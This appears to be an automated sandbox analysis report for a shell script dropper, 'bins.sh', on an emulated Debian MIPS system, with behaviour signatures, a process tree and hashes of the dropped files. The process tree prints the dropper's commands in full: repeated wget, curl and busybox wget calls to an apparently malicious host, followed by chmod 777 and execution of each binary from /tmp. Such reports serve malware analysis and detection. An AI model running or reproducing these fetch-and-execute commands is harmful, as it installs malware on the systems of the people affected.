Analysis

  • max time kernel
    150s
  • max time network
    35s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06/11/2024, 18:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-wqa3eavdpc
  • SHA256 8304aea493a338c9ccceeea96071bc1685fc30f2b869d89cc2a7514cfbaf108d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 23 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          ./Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod 777 x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            2⤵
            • File and Directory Permissions Modification
            PID:768
          • /tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            ./x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            2⤵
            • Executes dropped EXE
            PID:770
          • /bin/rm
            rm x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
            2⤵
              PID:773
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:774
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:789
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:797
            • /bin/chmod
              chmod 777 7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              ./7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              2⤵
              • Executes dropped EXE
              PID:803
            • /bin/rm
              rm 7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
              2⤵
                PID:807
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:808
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:833
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:835
              • /bin/chmod
                chmod 777 b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                2⤵
                • File and Directory Permissions Modification
                PID:836
              • /tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                ./b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                2⤵
                • Executes dropped EXE
                PID:837
              • /bin/rm
                rm b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                2⤵
                  PID:839
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:840
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:841
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:844
                • /tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  ./vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  2⤵
                  • Executes dropped EXE
                  PID:845
                • /bin/rm
                  rm vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                  2⤵
                    PID:847
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:849
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    ./71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    2⤵
                    • Executes dropped EXE
                    PID:853
                  • /bin/rm
                    rm 71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                    2⤵
                      PID:855
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:859
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:860
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:862
                    • /bin/chmod
                      chmod 777 IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      2⤵
                      • File and Directory Permissions Modification
                      PID:863
                    • /tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      ./IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      2⤵
                      • Executes dropped EXE
                      PID:864
                    • /bin/rm
                      rm IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                      2⤵
                        PID:866
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:867
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:868

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2

                          • Path /tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
                          • Size 111KB
                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                          • MD5 SHA1 SHA512 SSDEEP

                          7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm

                          • Path /tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP

                          7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov

                          • Path /tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
                          • Size 127KB
                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                          • MD5 SHA1 SHA512 SSDEEP

                          IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye

                          • Path /tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
                          • Size 107KB
                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                          • MD5 SHA1 SHA512 SSDEEP

                          Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9

                          • Path /tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
                          • Size 98KB
                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                          • MD5 SHA1 SHA512 SSDEEP

                          b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA

                          • Path /tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP

                          vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE

                          • Path /tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
                          • Size 122KB
                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                          • MD5 SHA1 SHA512 SSDEEP

                          x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe

                          • Path /tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
                          • Size 177KB
                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                          • MD5 SHA1 SHA512 SSDEEP